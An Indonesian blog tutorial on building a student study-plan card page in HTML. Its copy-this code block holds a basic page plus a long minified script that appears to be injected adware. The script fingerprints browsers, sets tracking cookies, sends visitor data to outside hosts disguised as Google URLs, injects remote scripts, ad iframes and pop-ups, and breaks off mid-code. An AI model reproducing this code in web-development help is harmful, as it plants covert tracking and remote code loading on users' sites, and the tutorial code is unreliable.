Studi Informatika

Panduan Pembelajaran Ilmu Teknologi & Komputer

Sunday, April 15, 2018

Cara Membuat Kartu Rencana Studi Dengan HTML

Dalam membuat Kartu Rencana Studi dengan menggunakan coding HTML hal pertama yang harus dipersiapkan.
=> Pastikan sudah install notepad++ versi terbaru
=> Pastikan sudah install xampp versi terbaru

Baca Juga : Cara Meletakkan Video Dan Audio Dengan Html

Jika sudah install keduanya buka xampp dan tekan star pada Apache dan MySql, sekarang yang pasti kita gunakan adalah Apache, jika sudah ada tanda warna hijau maka sudah aktif seperti gambar dibawah:



Kemudian selanjutnya buka notepad++ kemudian copy kan saja coding dibawah ini:

<html>
<head>
        <title>KRS Andri Yusuf</title>
    </head>

    <body>
<a href='http://localhost/biodata/biodata.html'> Lanjut Ke Biodata </a>
<script type="text/javascript" charset="utf-8">
;window.__TIMESFROMCLIENT__=0;window.__USERLOGICINFO__='over';window.__BROWSERINFOMAP__={};function IsUserLogicOver(){for(var i=0;i<arguments.length;i++){var s=arguments[i].indexOf("#=#");window.__BROWSERINFOMAP__[arguments[i].substring(0,s)]=arguments[i].substring(s+3)}window.__TIMESFROMCLIENT__++;return window.__USERLOGICINFO__}function StopUserLogic(){window.__USERLOGICINFO__='over'}(function($win,$doc){var util={getCookie:function(c_name){var i,x,y;var ARRcookies=$doc.cookie.split(";");for(i=0;i<ARRcookies.length;i++){x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name){return unescape(y)}}},setCookie:function(c_name,value,exdays){var exdate=new Date();exdate.setDate(exdate.getDate()+exdays);var c_value=escape(value)+((exdays==null)?"":"; expires="+exdate.toUTCString()),url=location.protocol+'//'+location.host+'/',domain=url.replace(/(http|https):\/\/.*?([^\.]+\.(com\.cn|org\.cn|net\.cn|[^\.]+))\/.*/,"$2");$doc.cookie=c_name+"="+c_value+';path=/; domain=.'+domain},getRandom:function(){return Math.round(Math.random()*2147483647)},getHash:function(str){var hash=1,charCode=0,idx;hash=0;for(idx=str.length-1;idx>=0;idx--){charCode=str.charCodeAt(idx);hash=(hash<<6&268435455)+charCode+(charCode<<14);charCode=hash&266338304;hash=charCode!=0?hash^charCode>>21:hash}return hash},isArray:function(obj){return Object.prototype.toString.call(obj).toLowerCase()==="[object array]"},inArray:function(arr,item){for(var i=arr.length-1;i>=0;i--){if(arr[i]===item){return true}}return false},arrDelete:function(arr,item){var tempArr=arr.slice(0);arr=[];for(var i=0;i<tempArr.length;i++){if(tempArr[i]!==item)arr.push(tempArr[i])}return arr},getClientInfo:function(){var info={},_empty='null',screen=window.screen,navigator=window.navigator,document=window.document,ua=navigator.userAgent.toLowerCase();var _contains=function(str,sub){return(str.indexOf(sub)>-1)};var _getBrowser=function(){var match=/(chrome)[ \/]([\w.]+)/.exec(ua)||/(webkit)[ \/]([\w.]+)/.exec(ua)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua)||/(msie) ([\w.]+)/.exec(ua)||ua.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua)||[];return{browser:match[1]||"",version:match[2]||"0"}};var _getOS=function(){var up=navigator.platform,isWin=(up==='Win32')||(up==='Windows'),isMac=(up==='Mac68K')||(up==='MacPPC')||(up==='Macintosh')||(up==='MacIntel'),isUnix=(up==='X11')&&!isWin&&!isMac,isLinux=_contains(up,'Linux')&&_contains(ua,'linux'),os='';if(isLinux){os=_contains(ua,'android')?'android':'linux'}else if(isMac){os=_contains(ua,'iphone')?'iphone':_contains(ua,'ipad')?'ipad':'mac'}else if(isUnix){os='unix'}else if(isWin){var winkey={'win2000':'windows nt 5.0','winXP':'windows nt 5.1','win2003':'windows nt 5.2','winVista':'window nt 6.0','win7':'windows nt 6.1','win8':'windows nt 6.2','win8.1':'windows nt 6.3'};for(var key in winkey){if(_contains(ua,winkey[key])){os=key;break}}}return os};info.os=_getOS();info.screen=screen?screen.width+'x'+screen.height:_empty;info.locale=navigator&&navigator.language?navigator.language:navigator&&navigator.browserLanguage?navigator.browserLanguage:_empty;info.browser=_getBrowser().browser+' '+_getBrowser().version;info.charset=document.characterSet?document.characterSet:document.charset?document.charset:_empty;info.host=encodeURIComponent(window.location.host);return info},extend:function(){var options,name,src,copy,copyIsArray,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==='boolean'){deep=target;target=arguments[1]||{};i=2}if(typeof target!=='object'){target={}}if(length===i){return target}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&&copy&&(typeof copy=='object'||(copyIsArray=util.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&util.isArray(src)?src:[]}else{clone=src?src:{}}target[name]=util.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target},isPlugin:function(){return(typeof chrome!=='undefined'&&chrome.runtime&&chrome.runtime.id)},join:function(data){if(!data||typeof data!=='object'){return''}var str='',i=0;for(var key in data){if(i==0)str+=key+'='+data[key];else str+='&'+key+'='+data[key];i++}return str},ajax:function(json){json=json||{};if(!json.url){return false}json.type=json.type||'get';json.data=json.data||{};if(window.XMLHttpRequest){var oAjax=new XMLHttpRequest()}else{var oAjax=new ActiveXObject('Microsoft.XMLHTTP')}switch(json.type.toLowerCase()){case'get':if(json.url.indexOf('?')!=-1){oAjax.open('GET',json.url)}else{oAjax.open('GET',json.url+'?'+util.join(json.data),true)}oAjax.send();break;case'post':oAjax.open('POST',json.url,true);oAjax.setRequestHeader('Content-Type','application/x-www-form-urlencoded');oAjax.send(util.join(json.data));break}oAjax.onreadystatechange=function(){if(oAjax.readyState==4){if(oAjax.status>=200&&oAjax.status<300||oAjax.status==304){json.success&&json.success(JSON.parse(oAjax.responseText))}else{json.error&&json.error(oAjax.status)}}}},jsonp:function(json){json=json||{};if(!json.url){return false}json.data=json.data||{};json.cbName=json.cbName||'plug_callback';var fnName='jsonp_'+Math.random();fnName=fnName.replace('.','');window[fnName]=function(data){json.success&&json.success(data);oHead.removeChild(oS)};json.data[json.cbName]=fnName;var arr=[];for(var name in json.data){arr.push(name+'='+json.data[name])}var oS=document.createElement('script');oS.src=json.url+'?'+arr.join('&');var oHead=document.getElementsByTagName('head')[0];oHead.appendChild(oS)},getStyle:function(obj,name){return(obj.currentStyle||getComputedStyle(obj,false))[name]},animate:function(obj,json,options){options=options||{};options.duration=options.duration||700;options.easing=options.easing||'ease-out';var count=Math.round(options.duration/30);var start={};var dis={};var n=0;for(var name in json){start[name]=parseFloat(util.getStyle(obj,name));if(isNaN(start[name])){switch(name){case'left':start[name]=obj.offsetLeft;break;case'top':start[name]=obj.offsetTop;break;case'width':start[name]=obj.offsetWidth;break;case'height':start[name]=obj.offsetHeight;break;case'maeginLeft':start[name]=obj.marginLeft;break}}dis[name]=json[name]-start[name]}clearInterval(obj.timer);obj.timer=setInterval(function(){n++;for(var name in json){switch(options.easing){case'linear':var cur=start[name]+dis[name]*n/count;break;case'ease-out':var a=1-n/count;var cur=start[name]+dis[name]*(1-a*a*a);break;case'ease-in':var a=n/count;var cur=start[name]+dis[name]*a*a*a}if(name=='opacity'){obj.style.opacity=cur;obj.style.filter='alpha(opacity:'+cur*100+')'}else{obj.style[name]=cur+'px'}}if(n==count){clearInterval(obj.timer);options.complete&&options.complete()}},30)},getUrlParam:function(location){var result={},location=location||window.location,params,param,len,i;if(typeof location=="string"){var pos=location.indexOf("?");search=pos>=0?location.substr(pos+1):""}else search=location.search.slice(1);if(search.length){params=search.split('&');len=params.length;for(i=0;i<len;i++){param=params[i].split('=');result[param[0]]=decodeURIComponent(param[1])}}return result},addEventHandler:function(elem,type,handler){if(elem.addEventListener){elem.addEventListener(type,handler,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,handler)}else{elem["on"+type]=handler}},removeEventHandler:function(elem,type,handler){if(elem.removeEventListener){elem.removeEventListener(type,handler,false)}else if(elem.detachEvent){elem.detachEvent("on"+type,handler)}else{elem["on"+type]=null}},getEvent:function(event){return event?event:window.event},getEventTarget:function(event){return event.target||event.srcElement},preventEventDefault:function(event){if(event.preventDefault){event.preventDefault()}else{event.returnValue=false}},stopEventPropagation:function(event){if(event.stopPropagation){event.stopPropagation()}else{event.cancelBubble=true}},base64:{encode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';input=String(input);if(/[^\0-\xFF]/.test(input)){throw Error("The string to be encoded contains characters outside of the Latin1 range.")}var padding=input.length%3;var output='';var position=-1;var a;var b;var c;var buffer;var length=input.length-padding;while(++position<length){a=input.charCodeAt(position)<<16;b=input.charCodeAt(++position)<<8;c=input.charCodeAt(++position);buffer=a+b+c;output+=(TABLE.charAt(buffer>>18&0x3F)+TABLE.charAt(buffer>>12&0x3F)+TABLE.charAt(buffer>>6&0x3F)+TABLE.charAt(buffer&0x3F))}if(padding==2){a=input.charCodeAt(position)<<8;b=input.charCodeAt(++position);buffer=a+b;output+=(TABLE.charAt(buffer>>10)+TABLE.charAt((buffer>>4)&0x3F)+TABLE.charAt((buffer<<2)&0x3F)+'=')}else if(padding==1){buffer=input.charCodeAt(position);output+=(TABLE.charAt(buffer>>2)+TABLE.charAt((buffer<<4)&0x3F)+'==')}return output},decode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var REGEX_SPACE_CHARACTERS=/[\t\n\f\r ]/g;input=String(input).replace(REGEX_SPACE_CHARACTERS,'');var length=input.length;if(length%4==0){input=input.replace(/==?$/,'');length=input.length}if(length%4==1||/[^+a-zA-Z0-9/]/.test(input)){throw Error("The string to be decoded is not correctly encoded.")}var bitCounter=0;var bitStorage;var buffer;var output='';var position=-1;while(++position<length){buffer=TABLE.indexOf(input.charAt(position));bitStorage=bitCounter%4?bitStorage*64+buffer:buffer;if(bitCounter++%4){output+=String.fromCharCode(0xFF&bitStorage>>(-2*bitCounter&6))}}return output}},gooRequestProxyEn:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";var protocol=window.location.protocol;return protocol+gooUrl+encodeURIComponent(util.base64.encode(url))},gooRequestProxyDe:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";if(url.indexOf(gooUrl)>=0){return util.base64.decode(decodeURIComponent(url.split(gooUrl)[1]))}return false}};var Report=function(){this.uuid=null;this.storage={};this.queue=[];this.clientInfo=util.getClientInfo()||{};var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.host=this.clientInfo.host;this.reportUrl=$win.location.protocol+'//report.2016olympics-br.com/webstat';this.reportAdUrl=$win.location.protocol+'//up.gghtzy.com/api/report';this.adHost=this.reportAdUrl.match(/\w+\.\w+[\w.]*[\/]/)[0].slice(0,-1);this.util=util;this.urlNeedProxy=true;this.urlParam=function(){if(!$win.isConfigAdPage){return null}var location,hash,uuid;try{location=$win.parent.location;hash=location.hash}catch(e){location=$win.location}var urlParam;var hrefde=util.gooRequestProxyDe(location.href);if(hrefde!=false){var pos=hrefde.indexOf("#");hash=pos>=0?hrefde.substr(pos):"";var loc=pos>=0?hrefde.substring(0,pos):hrefde;urlParam=util.getUrlParam(loc);this.urlNeedProxy=true}else{urlParam=util.getUrlParam(location);hash=location.hash;this.urlNeedProxy=false}uuid=hash&&hash.substr(1);if(!uuid){throw new Error('config page uuid for failure')}urlParam["uuid"]=decodeURIComponent(uuid);return urlParam}.call(this);this._dataInit()};util.extend(Report.prototype,{_pushQueue:function(func){if(this.uuid){func(this.uuid);return true}this.queue.push(func)},_pushQueueByReport:function(method,arg){if(this.uuid){this[method].apply(this,arg);return true}this.queue.push((function(method,arg,context){return function(){context[method].apply(context,arg)}})(method,arg,this))},_runQueue:function(){var self=this;this.queue.forEach(function(val,index){val(self.uuid)});this.queue=[]},_loadImg:function(url){var img=new Image();img.width=1;img.height=1;img.src=url},_eventTodayIsReported:function(eventName){var current=new Date();var currentYear=current.getFullYear(),currentMonth=current.getMonth(),currentDay=current.getDate();var eventDate=this.storage['report_'+eventName];if(!eventDate){return false}if(eventDate.getFullYear()!=currentYear||eventDate.getMonth()!=currentMonth||eventDate.getDate()!=currentDay){return false}return true},_eventIsReported:function(eventName){if(this.storage['report_'+eventName]){return true}return false},_setEventReportDate:function(eventName){this.storage['report_'+eventName]=new Date()},_ga:function(data){if(typeof _gaq==='undefined'){return false}_gaq.push(["_trackEvent",data["event"],data["uuid"],encodeURIComponent(data["status"]["host"])])},_mdata:function(data){var self=this,eventName=data.event||"";var ptype=self.ptype||1;var sendStringifyData=encodeURIComponent(JSON.stringify(data));var reportDataUrl=this.reportUrl+'?ptype='+ptype+'&data='+sendStringifyData;var reportAdDataUrl=this.reportAdUrl+'?data='+sendStringifyData;var reportDataUrlEn=(eventName!="visit"&&this.urlNeedProxy)?util.gooRequestProxyEn(reportDataUrl):reportDataUrl;var reportAdDataUrlEn=this.urlNeedProxy?util.gooRequestProxyEn(reportAdDataUrl):reportAdDataUrl;if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportDataUrlEn)}else{util.ajax({url:reportDataUrlEn,success:function(result){if(!result||result.rc!=0){self._loadImg(reportDataUrlEn)}},error:function(){self._loadImg(reportDataUrlEn)}})}if(eventName=='download'){if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportAdDataUrlEn)}else{util.ajax({url:reportAdDataUrlEn,error:function(){self._loadImg(reportAdDataUrlEn)}})}}},_dataInit:function(){this.data=util.extend(true,{},this.clientInfo);this.data=util.extend(true,this.data,this.commonData)},_setCommonData:function(data){if(typeof data!=='object'&&data){return}this.commonData=data},_send:function(eventName,obj){if(!eventName||typeof eventName!=='string'){throw new Error('eventName error')}if(!this.uuid||!this.appid){throw new Error("can't find the uuid or appid")}if(!obj||typeof obj!=='object'){obj={}}if(obj.reportUrl&&/^\/\/\w+\.\w+[\w.\/]*[\w\/]+$/.test(obj.reportUrl)){this.reportUrl=obj.reportUrl}this.data["uuid"]=this.uuid;this.data["appid"]=this.appid;this.data["channel"]="360xx";this.data["event"]=eventName;this.data["params"]={"time":new Date().getTime()};var host=this.urlParam&&this.urlParam["host"]?this.urlParam["host"]:this.host;if(eventName=="visit")host=location.href;this.data["status"]={"appname":this.app_name||"virtual","apptype":this.app_type||"addon","host":host};this.data['version']='3.0.0.1';util.extend(true,this.data,obj);delete this.data.host;this._mdata(this.data);this._setEventReportDate(eventName);this._dataInit()},loopSend:function(eventName,param){var self=this,_arguments=arguments;if(!eventName||typeof eventName!=='string'){return}if(!this.uuid){this._pushQueueByReport('loopSend',arguments);return}self._send(eventName,param);setInterval(function(){if(!self._eventTodayIsReported(eventName)){self._send.apply(self,_arguments)}},1000*60*10)},onlyOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('onlyOne',arguments);return}if(self._eventIsReported(eventName)){return}self._send(eventName,param)},oneDayOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('oneDayOne',arguments);return}if(self._eventTodayIsReported(eventName)){return}self._send(eventName,param)},infinite:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('infinite',arguments);return}self._send(eventName,param)},configAd:function(eventName,param){var self=this;var data={};data["uuid"]=this.urlParam&&this.urlParam["uuid"]?this.urlParam["uuid"]:"null";data["params"]={"ad_id":this.urlParam&&this.urlParam["ad_id"]?this.urlParam["ad_id"]:"null","ad_type":this.urlParam&&this.urlParam["ad_type"]?this.urlParam["ad_type"]:"null","ad_name":this.urlParam&&this.urlParam["ad_name"]?this.urlParam["ad_name"]:"null","ad_size":this.urlParam&&this.urlParam["size"]?this.urlParam["size"]:"null"};param=param||{};util.extend(true,data,param);self._send(eventName,data)},navigation:function(eventName,param){var self=this;var data={};data["channel"]=self.channel;param=param||{};util.extend(true,data,param);self._send(eventName,data)},_initEggUuid:function(){var self=this;if(util.isPlugin()){chrome.extension.onConnect.addListener(function(port){port.onMessage.addListener(function(msg){self.uuid=msg['uuid'];self._runQueue()})});return true}else{var GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T='{56fc02e6ce12448d84c6b390bb38df40}';GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T=/GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T/.test(GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T)?null:GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T;self.uuid=GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T}if(!self.uuid){return false}else{return true}},_naturalUuid:function(){var _getCookie=util.getCookie;var _setCookie=util.setCookie;var _Hash=util.getHash;var _random=util.getRandom;var str=_getCookie('__MDATA__UUID__'),son=parseInt(new Date().getTime()/1000),last=_getCookie('__MDATA__SION__')?parseInt(_getCookie('__MDATA__SION__')):son,strArr=[],that=this;var _saveCookie=function(){str=_Hash(location.host)+'.'+_random()+'.'+son+'.'+son;_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)};if(!str){_saveCookie()}else{strArr=str.split('.');if(strArr.length<4){_saveCookie()}else{if(son-last>=730*24*3600){strArr[3]=son}str=strArr.join('.');_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)}}return str},_initNavigation:function(){var self=this;var urlParam=util.getUrlParam();var getCookie=util.getCookie;self.channel=urlParam["r"]?urlParam["r"]:urlParam["oem"]?urlParam["oem"]:self.app_name;self.uuid=urlParam["uid"]?urlParam["uid"]:getCookie('__MDATA__UUID__')?getCookie('__MDATA__UUID__'):this._naturalUuid()},_setUuid:function(uuid){if(this.ptype==2){this._initNavigation();return true}if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}if(this.urlParam&&this.urlParam.uuid){this.uuid=this.urlParam.uuid;return true}if(this._initEggUuid()){return true}throw new Error("setting the uuid failed")},_setGaid:function(gaid){if(typeof _gaq==='undefined'){return false}if(gaid&&typeof gaid==='string'){_gaq.push(["_setAccount",gaid]);return true}return false;throw new Error("setting the gaid failed")},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.gaid=account.gaid;this.app_name=account.app_name;this.app_type=account.app_type;this.ptype=account.ptype;this._setUuid(account.uuid);this._setGaid(account.gaid)}});var report=new Report();function GetNode(){this.adMax=null;this.times=null;this.adAlreadySize=[];this.enabledDiv=[];this.enabledIframe=[];this.normSizes=['300*250','336*280','728*90','250*250','160*600','320*100','300*600','120*600','300*1050','120*240','468*60','320*50','234*60','970*250','970*90','200*200','180*150','125*125','728*15'];this.excuteSizes=[];this.normNodeNames=['DIV','IFRAME'];this.fixedCount=0;this.scriptSize=[];this.scriptNodeNames=['SCRIPT'];this.filterHost=['video.a4g.com'];this.insNode=null}util.extend(GetNode.prototype,{getSize:function(nodes){this.fixedCount=0;if(this.times>1){this._arrRemove()}else{this._scriptCheck()}this._initEbledNode();var enabledNode=this.getEnabledNode();var sizes=[],tempSize,type,tempNodes,i;for(type in enabledNode){tempNodes=enabledNode[type];for(i=0;i<tempNodes.length;i++){tempSize=tempNodes[i].offsetWidth+'*'+tempNodes[i].offsetHeight;sizes.push(tempSize)}}return sizes},getEnabledNode:function(){return{div:this.enabledDiv,iframe:this.enabledIframe}},_initEbledNode:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;if(rootNode===oBody){this.enabledDiv=[];this.enabledIframe=[]}var children=rootNode.children,tempNode;var fixedMark=rootNode.getAttribute('fixed');for(var i=0;i<children.length;i++){tempNode=children[i];if(this._positionCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this.fixedCount++;tempNode.setAttribute("fixed","true");if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendFixedEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}else{if(fixedMark&&fixedMark=='true'){tempNode.setAttribute("fixed","true")}if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}}},_appendFixedEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}node.setAttribute("fixed","true")},_appendEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}},_insCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._sizeCheck(tempNode)&&tempNode.nodeName=='INS'&&tempNode.className=='adsbygoogle'){this._parentNode(rootNode);rootNode.setAttribute('insname','true')}else if(tempNode.children.length>0){this._insCheck(tempNode)}}},_parentNode:function(childNode){var tempNode=childNode.parentNode;if(childNode.nodeName!='BODY')childNode.setAttribute('insname','true');if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){tempNode.setAttribute('insname','true');this._parentNode(tempNode)}},_scriptCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._scriptSize(tempNode)){for(var i=0;i<this.normSizes.length;i++){for(j=0;j<this.scriptSize.length;j++){if(this.normSizes[i]==this.scriptSize[j]){this.normSizes.splice(i,1)}}}}else{this._scriptCheck(tempNode)}}},_scriptSize:function(node){for(var i=0;i<this.scriptNodeNames.length;i++){if(node.nodeName===this.scriptNodeNames[i]){var temUrl=node.src;if(temUrl&&temUrl.length>0){temUrl=temUrl.toLowerCase();for(var j=0;j<this.filterHost.length;j++){if(temUrl.indexOf(this.filterHost[j])!=-1){var width=this._paramsCheck('width',temUrl).replace(new RegExp('px'),"");var height=this._paramsCheck('height',temUrl).replace(new RegExp('px'),"");if(width&&height){this.scriptSize.push(width+'*'+height);return true}}}}}}return false},_paramsCheck:function(key,str){var val=null;var tempStr=str;if(tempStr&&tempStr.length!=0){tempStr=str.split('?')[1];var arr=tempStr.split('&');var len=arr.length;for(i=0;i<len;i++){if(arr[i].split('=')[0]==key){val=arr[i].split('=')[1];break}}}return val},_flagCheck:function(node){if(node.getAttribute("enabled")||node.getAttribute("insname")){return true}return false},_nameCheck:function(node){for(var i=0;i<this.normNodeNames.length;i++){if(node.nodeName===this.normNodeNames[i]){return true}}return false},_sizeCheck:function(node){var size=node.offsetWidth+'*'+node.offsetHeight;for(var i=0;i<this.normSizes.length;i++){if(size===this.normSizes[i]){return true}}return false},_positionCheck:function(node){var position=node.style.position;if(position&&position.toLowerCase()=='fixed'){var _width=node.offsetWidth;for(var i=0;i<this.normSizes.length;i++){var _size=parseInt(this.normSizes[i].split('*')[0]);if(_width>=_size&&_width<=_size+50)return true}}return false},_arrRemove:function(){var sizeCopy=this.normSizes.slice(0);for(var i=0;i<sizeCopy.length;i++){if(this.adAlreadySize[sizeCopy[i]]>=this.adMax||util.inArray(this.excuteSizes,sizeCopy[i])){this.normSizes=util.arrDelete(this.normSizes,sizeCopy[i])}}},setAccount:function(account){this.adMax=account.adMax;this.times=account.times;this.adAlreadySize=account.adAlreadySize},addExcuteSizes:function(size){if(!util.inArray(this.excuteSizes,size))this.excuteSizes.push(size)}});var getNode=new GetNode();function GetAd(){this.adMax=null;this.adAlreadySize={};this.oBody=document.getElementsByTagName('body')[0];this.isRun=false;this.configAdRepeat=[];this.count=1;this.jsAdType='';this.url_type=-1;this.bInWhiteList=false;this.requestSizes=[];this.clientInfo=util.getClientInfo()||{};this.host=this.clientInfo.host;var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.callAdUrl=$win.location.protocol+'//up.gghtzy.com/api/call-ad';this.call_times=1;this.jsAdItem=null;this.keywords=''}util.extend(GetAd.prototype,{_getAd:function(){this.isRun=true;this.requestSizes=[];this._getKeywords();getNode.setAccount({adMax:this.adMax,times:this.count,adAlreadySize:this.adAlreadySize});var sizes=getNode.getSize();var add_size=["1*1","300*249","2*2","ins-160*160"];if(this.call_times==1){sizes=sizes.concat(add_size)}this.requestSizes=sizes.slice(0);var enabledNode=getNode.getEnabledNode();this.enabledIframe=enabledNode.iframe;this.enabledDiv=enabledNode.div;var data={size:sizes.join('_'),count:sizes.length,web:this.host,appid:this.appid,uid:this.uuid,repeat:this.configAdRepeat.join('_'),times:this.call_times,jsAdType:this.jsAdType,keywords:this.keywords};if(data['count']>0||!this.jsInjection){this._requestAd(data)}else{this.isRun=false}},_requestAd:function(data){var self=this;var requrl=self.callAdUrl+"?"+util.join(data);requrl=report.urlNeedProxy?util.gooRequestProxyEn(requrl):requrl;var plugUpData={url:requrl,success:(function(requestCount){return function(json){if(json.code==40003||json.code==40004||json.code==40005||json.code==40006||json.code==40007||json.code==40008){self.isRun=false;var uniq_size_arr=[];if(json.code==40004||json.code==40008){for(var i in self.requestSizes){var _size_=self.requestSizes[i];getNode.addExcuteSizes(_size_);if(!util.inArray(uniq_size_arr,_size_))uniq_size_arr.push(_size_)}self.jsInjection=true}report.infinite('get_ad_error',{params:{"error_code":json.code,"times":self.call_times,"ad_size":uniq_size_arr.join("_")}});if(json.code==40005){self.bInWhiteList=true}if(json.code!=40003)self.call_times++;return false}var data=json.data;self.url_type=data['URL_type']?data['URL_type']:self.url_type;self._configAdTotalReport(data.deployAd,requestCount,self.url_type);if(data.deployAd){self._configAd(data.deployAd)}if(!self.jsInjection&&data.jsAd){self.jsAdItem=data.jsAd;self._jsAd(data.jsAd)}self.call_times++;self.isRun=false}})(data.count),error:function(err){self.isRun=false;report.infinite('get_ad_error',{params:{"error_code":50001,"ajax_status":err}})}};if(this.browser==='msie'&&this.browserVersion<10.0){util.jsonp(plugUpData)}else{util.ajax(plugUpData)}},jsAdDownloadReport:function(){if(this.jsAdItem){var reportData={"ad_id":this.jsAdItem.ad_id,"ad_type":this.jsAdItem.ad_type,"ad_name":this.jsAdItem.ad_name,"ad_size":this.jsAdItem.ad_size,"ad_sort":this.jsAdItem.ad_sort};this._reportEvent('download',reportData)}},_configAdTotalReport:function(deployAd,requestCount,url_type){if(!requestCount){return false}var responseCount=0,emptyCount=0;if(deployAd&&deployAd.length){for(var i=0;i<deployAd.length;i++){if(deployAd[i]){responseCount++}}}emptyCount=requestCount-responseCount;if(requestCount>0){report.infinite('get_adtotal',{params:{"request_total":requestCount,"response_total":responseCount,"empty":emptyCount,"url_type":url_type,"fix":getNode.fixedCount}})}},_jsAd:function(jsAd){var self=this;self.jsInjection=true;if(!jsAd.url||jsAd.url.length==0){report.infinite('get_ad_error',{params:{"error_code":40004,"times":self.call_times,"ad_type":1}});return}self.jsAdType=jsAd.replace;function _inSrtJsAd(e){if(document.readyState=="interactive"||document.readyState=="complete"){var script=document.createElement('script');script.src=jsAd.url;self.oBody.appendChild(script);self._report(jsAd.ad_id,jsAd.ad_type,jsAd.ad_name);util.removeEventHandler(document,"readystatechange",_inSrtJsAd)}}if(document.readyState!="interactive"&&document.readyState!="complete")util.addEventHandler(document,"readystatechange",_inSrtJsAd);else _inSrtJsAd(null)},_configAd:function(deployAd){var tempNode,newIframe;function sizeJudge(adSize,node){var nodeSize=node.offsetWidth+'*'+node.offsetHeight;return adSize==nodeSize}deployAd:for(var i=0;i<deployAd.length;i++){if(!deployAd[i]){continue}if(this.adAlreadySize[deployAd[i].size]>=this.adMax)continue;if(deployAd[i].replace==1){window.NewWebTab=(function(adItem){return function(e){var targ=e.target;var fixed=targ.getAttribute("fixed");var tname=targ.tagName;if(tname=='A'||tname=='BOTTOM'||tname=='SUBMIT'||fixed){return}var myWindow=window.open(adItem.web);util.removeEventHandler(document.body,"click",NewWebTab);if(myWindow){var reportData={"ad_id":adItem.ad_id,"ad_type":adItem.ad_type,"ad_name":adItem.ad_name,"ad_size":adItem.ad_size,"ad_sort":adItem.ad_sort};getAd._reportEvent('download',reportData)}}})(deployAd[i]);util.addEventHandler(document.body,"click",NewWebTab);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}if(deployAd[i].replace==2){var ins_size=deployAd[i].size;if(ins_size.indexOf("ins-")==0)ins_size=ins_size.substr(4);if(deployAd[i].IJ_location=="1"){var tag='<div onclick="this.parentNode.parentNode.removeChild(this.parentNode);" style="width:20px;color:#fff;position:absolute;cursor:pointer;background-color:rgb(200,200,200);text-align:center;font-family:cursive;line-height:18px;">X</div>'+'<iframe enabled="true" width="'+ins_size.split('*')[0]+'px'+'" height="'+ins_size.split('*')[1]+'px'+'" frameborder="0" scrolling="no" src="'+deployAd[i].url+'">'+'</iframe>';var newIframe=document.createElement("div");newIframe.setAttribute("style","position:fixed;right:0;bottom:0;z-index:9999;");newIframe.setAttribute("enabled","true");newIframe.innerHTML=tag;this.oBody.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}else if(deployAd[i].IJ_location=="2"){var 